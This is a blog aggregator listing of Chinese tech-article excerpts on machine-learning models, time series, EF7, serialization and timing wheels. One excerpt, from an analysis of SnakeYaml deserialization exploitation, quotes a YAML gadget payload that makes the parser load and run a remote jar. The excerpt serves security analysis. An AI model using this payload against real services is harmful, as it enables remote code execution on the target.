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时间序列 序列 模型 股市

深入了解视觉语言模型

人类学习本质上是多模态 (multi-modal) 的，因为联合利用多种感官有助于我们更好地理解和分析新信息。理所当然地，多模态学习的最新进展即是从这一人类学习过程的有效性中汲取灵感，创建可以利用图像、视频、文本、音频、肢体语言、面部表情和生理信号等各种模态信息来处理和链接信息的模型。 自 2021 ......
模型 视觉 语言

在线文本翻译能力新增14个直译模型，打造以中文为轴心语言的翻译系统

经济全球化的今天，人们在工作和生活中经常会与外语打交道。相较传播性较广的英语而言，其他语种的识别和阅读对大多数人来说是一件难事，此时就需要借助语言翻译软件来帮助理解。 华为 HMS Core 机器学习服务（ML Kit）翻译功能提供了多种翻译模式，不仅可以满足应用出行购物、网络社交等日常场景，还提供 ......
直译 以中 轴心 模型 文本

Python ArcPy批量拼接长时间序列栅格图像

本文介绍基于Python中ArcPy模块，对大量不同时相的栅格遥感影像按照其成像时间依次执行批量拼接的方法。 在前期的文章Python arcpy创建栅格、批量拼接栅格中，我们介绍了利用Python实现栅格遥感影像批量拼接的方法；但这篇文章实现的操作是将某个保存路径下全部的栅格图像文件加以拼接，换句 ......
栅格 序列 图像 Python ArcPy

从宏观上理解计算机网络模型-坐在直升机上看网络

大家好，我是风筝 今天是轻解计算机网络系列第一解，从宏观上了解网络。主要介绍网络分成模型、基本传输过程。 学习任何一种新技术都应该是这样的顺序，先从宏观上了解这门技术的基本原理和作用。这就好像生物学家研究一种生物，不能上来就解刨吧，一定是从整体上观察了这种生物的体貌和形态。这里的宏观就像是一具动物骨 ......
计算机网络 宏观 模型 网络

ABP微服务学习系列-修复System.Text.Json不支持序列化Exception

前面我们已经把服务都启动了，然后我们试试请求API。发现请求出现500 返回错误 System.NotSupportedException: Serialization and deserialization of 'System.Reflection.MethodBase' instances a ......
序列 Exception System Json Text

高并发环境下生成序列编码重复问题分析

一、背景 有个业务系统（订单系统），通过后台日志和监控观察，系统偶尔会出现重复唯一索引问题，例如：后台日志片段 Duplicate entry 'service_no' for key 'idx_service_no' .... 也就是说写入数据与数据库已有数据发生重复。 下面我们分析一下问题出现在 ......
序列 编码 环境 问题

深度学习模型压缩方法概述

我们知道，一定程度上，网络越深，参数越多，模型也会越复杂，但其最终效果也越好，而模型压缩算法是旨在将一个庞大而复杂的大模型转化为一个精简的小模型。之所以必须做模型压缩，是因为嵌入式设备的算力和内存有限，经过压缩后的模型方才能部署到嵌入式设备上。工业界的模型压缩方法有：知识蒸馏、轻量化模型架构、剪枝、... ......
深度 模型 方法

EF7创建模型入门篇

在EF7中，创建一个模型是非常重要的步骤。本文将使用微软官方文档中的指南，来学习EF7中的创建模型篇，外加一点点个人理解。 实体类型 在 EF7 中，你需要使用 modelBuilder.Entity() 方法来告诉 EF7 你要包含哪些类型。默认情况下，EF7 会将实体类型的名称设置为表的名称。但 ......
模型 EF7 EF

EF7创建模型继承映射篇

Entity Framework 7 (EF7)中的继承映射允许您将类层次结构映射到数据库中的表层次结构。具体而言，这意味着您可以创建一个基类，然后从该基类派生多个子类，并将这些子类映射到不同的数据库表。这使得在数据库中存储不同类型的数据变得更加方便，同时还能保持面向对象编程的优雅性。 EF7提供了 ......
模型 EF7 EF

EF7创建模型值生成篇

在 EF7 中，生成的值是非常重要的，因为它们决定了数据库表中的数据。在本文中，我们将以人员为例，使用 Fluent API 展示所有 EF7 生成值的功能。 我们先来看一下人员表的属性： public class Person { public Guid Id { get; set; } publ ......
模型 EF7 EF

【LeetCode回溯算法#08】递增子序列，巩固回溯算法中的去重问题

递增子序列 力扣题目链接(opens new window) 给定一个整型数组, 你的任务是找到所有该数组的递增子序列，递增子序列的长度至少是2。 示例 1： 输入：nums = [4,6,7,7] 输出：[[4,6],[4,6,7],[4,6,7,7],[4,7],[4,7,7],[6,7],[6 ......
算法 序列 LeetCode 问题 08

取出预训练模型中间层的输出(pytorch)

1 遍历子模块直接提取 对于简单的模型，可以采用直接遍历子模块的方法，取出相应name模块的输出，不对模型做任何改动。该方法的缺点在于，只能得到其子模块的输出，而对于使用nn.Sequensial()中包含很多层的模型，无法获得其指定层的输出。 示例 resnet18取出layer1的输出 from ......
中间层 模型 pytorch

JavaScript 日期和时间的格式化

一、日期和时间的格式化 1、原生方法 1.1、使用 toLocaleString 方法 Date 对象有一个 toLocaleString 方法，该方法可以根据本地时间和地区设置格式化日期时间。例如： const date = new Date(); console.log(date.toLocal ......
JavaScript 日期 格式 时间

时间轮TimeWheel工作原理解析

时间轮工作原理解析 一.时间轮介绍 1.时间轮的简单介绍 时间轮(TimeWheel)作为一种高效率的计时器实现方案，在1987年发表的论文Hashed and Hierarchical Timing Wheels中被首次提出。 其被发明的主要目的在于解决当时操作系统的计时器功能实现中，维护一个定时 ......
TimeWheel 原理 时间

搭个ChatGPT算法模型，离Java程序员有多远？

这一篇文章先给我自己以及大家对 ChatGPT 开个门，让对此感兴趣的编程爱好者可以参与进去学习。在我感觉 ChatGPT 的出现会打破某些平衡，对一些事项进行秩序重置。因此也让更多的人获得了大量的机会。 ......
程序员 算法 模型 ChatGPT 程序

使用JsonTextReader提高Json.NET反序列化的性能

一、碰到的问题 在服务器的文件系统上有一个业务生成的BigTable.json文件，其可能包含的JSON字符串很大，同时里边的集合会包含很多的记录；我们使用以下的代码来反序列化，虽然使用了异步的ReadAllTextAsync来读取文件，但是还是需要将整个的文件内容都读取到内存中，这样会极大的占用服 ......
JsonTextReader 序列 性能 Json NET

基于FLink实现的实时安全检测（一段时间内连续登录失败20次后，下一次登录成功场景）

研发背景 公司安全部目前针对内部系统的网络访问日志的安全审计，大部分都是T+1时效，每日当天，启动Python编写的定时任务，完成昨日的日志审计和检测，定时任务运行完成后，统一进行企业微信告警推送。这种方案在目前的网络环境和人员规模下，呈现两个痛点，一是面对日益频繁的网络攻击、钓鱼链接，T+1的定时 ......
安全检测 实时 场景 时间 FLink

SnakeYaml的不出网反序列化利用分析

SnakeYaml的常见出网利用方式： !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"] ]] ] 不 ......
序列 SnakeYaml

C4模型，架构设计图的脚手架，你值得拥有

hi，我是熵减，见字如面。 对于软件开发团队来说，写软件设计文档，花架构图，是日常工作中的关键一项。 而其中，如何画好系统设计的架构图呢？ Simon Brown 就 提出 C4 模型，来解决这个问题。 基于C4模型的脚手架，架构师们就可以统一团队内的不同层级的视角，交付一个成体系的架构设计。 下面 ......
脚手架 设计图 架构 模型

模型预处理层介绍（1） - Discretization

预处理的作用主要在于将难以表达的string或者数组转换成模型容易训练的向量表示，其中转化过程大多是形成一张查询表用来查询。 常见的预处理方式包括： class Discretization: Buckets data into discrete ranges. class Hashing: Imp ......
Discretization 模型

精华推荐 |【算法数据结构专题】「延时队列算法」史上非常详细分析和介绍如何通过时间轮（TimingWheel）实现延时队列的原理指南

时间轮的介绍 时间轮（TimeWheel）是一种实现延迟功能（定时器）的精妙的高级算法，其算法应用范围非常广泛，在Java开发过程中常用的Dubbo、Netty、Akka、Quartz、ZooKeeper 、Kafka等各种框架中，各种操作系统的定时任务crontab调度都有用到，甚至Linux内核 ......
队列 算法 数据结构 TimingWheel 原理

下篇 | 使用 🤗 Transformers 进行概率时间序列预测

在《使用 🤗 Transformers 进行概率时间序列预测》的第一部分里，我们为大家介绍了传统时间序列预测和基于 Transformers 的方法，也一步步准备好了训练所需的数据集并定义了环境、模型、转换和 InstanceSplitter。本篇内容将包含从数据加载器，到前向传播、训练、推理和展 ......
时间序列 下篇 序列 概率 Transformers

Java 调用 PaddleDetection 模型

文章地址 介绍 训练好的模型要给业务调用，deepjavalibrary/djl：Java 中与引擎无关的深度学习框架 (github.com) 可以完成这件事，它支持使用 Java 调用 PyTorch、TensorFlow、MXNet、ONNX、PaddlePaddle 等引擎的模型（也支持部分 ......
PaddleDetection 模型 Java

slate源码解析（二）- 基本框架与数据模型

源码架构 首先来看下最核心的slate包下的目录： 可以看到，作为一个开源富文本库，其源码是相当之少。在第一篇文章中说过，Slate没有任何开箱即用的功能，只提供给开发者用于构建富文本所需的最基本的一套schema及操作API。因此源码的体量自然就要少许多。 我们来预览上图中各个目录下文件所负责的功 ......
源码 框架 模型 数据 slate

Python绘制神经网络模型图

本文介绍基于Python语言，对神经网络模型的结构进行可视化绘图的方法。 最近需要进行神经网络结构模型的可视化绘图工作。查阅多种方法后，看到很多方法都比较麻烦，例如单纯利用graphviz模块，就需要手动用DOT语言进行图片描述，比较花时间；最终，发现利用第三方的ann_visualizer模块，可 ......
神经网络 模型 神经 Python 网络

随机森林RF模型超参数的优化：Python实现

本文介绍基于Python的随机森林（Random Forest，RF）回归代码，以及模型超参数（包括决策树个数与最大深度、最小分离样本数、最小叶子节点样本数、最大分离特征数等）自动优化的代码~ ......
模型 森林 参数 Python

生产者消费者模型

生产者消费者模型 什么是生产者消费者模型 我们可以把这个模型想象成工厂里的两条流水线，我们管他们叫生产者流水线和消费者流水线，生产者流水线生产出来的产品给消费者流水线使用，其中生产者流水线先把生产出来的产品放在仓库，然后消费者流水线再去仓库拿。这个仓库就叫做阻塞队列。 那么，这个仓库的实现有什么要求 ......
生产者 模型 消费者

模型压缩-剪枝算法详解

近年来主流的模型压缩方法包括：数值量化（Data Quantization，也叫模型量化），模型稀疏化（Model sparsification，也叫模型剪枝 Model Pruning），知识蒸馏（Knowledge Distillation）， 轻量化网络设计（Lightweight Netwo... ......
算法 模型

基于pytorch实现模型剪枝

所谓模型剪枝，其实是一种从神经网络中移除"不必要"权重或偏差（weigths/bias）的模型压缩技术。本文深入描述了 pytorch 框架的几种剪枝 API，包括函数功能和参数定义，并给出示例代码。 ......
模型 pytorch

【Oculus Interaction SDK】（九）使用控制器时显示手的模型

前言 前段时间 Oculus 的 SDK 频繁更新，很多已有的教程都不再适用于现在的版本了。本系列文章的主要目的是记录现版本常见功能的实现方法，便于自己后续开发。当然，不排除我文章刚写完 SDK 又变了的可能性，所以如果有人发现文章的内容已经不适用于新版本了，也可以留评论或者私信我，我会持续更新文章 ......
控制器 Interaction 模型 Oculus SDK
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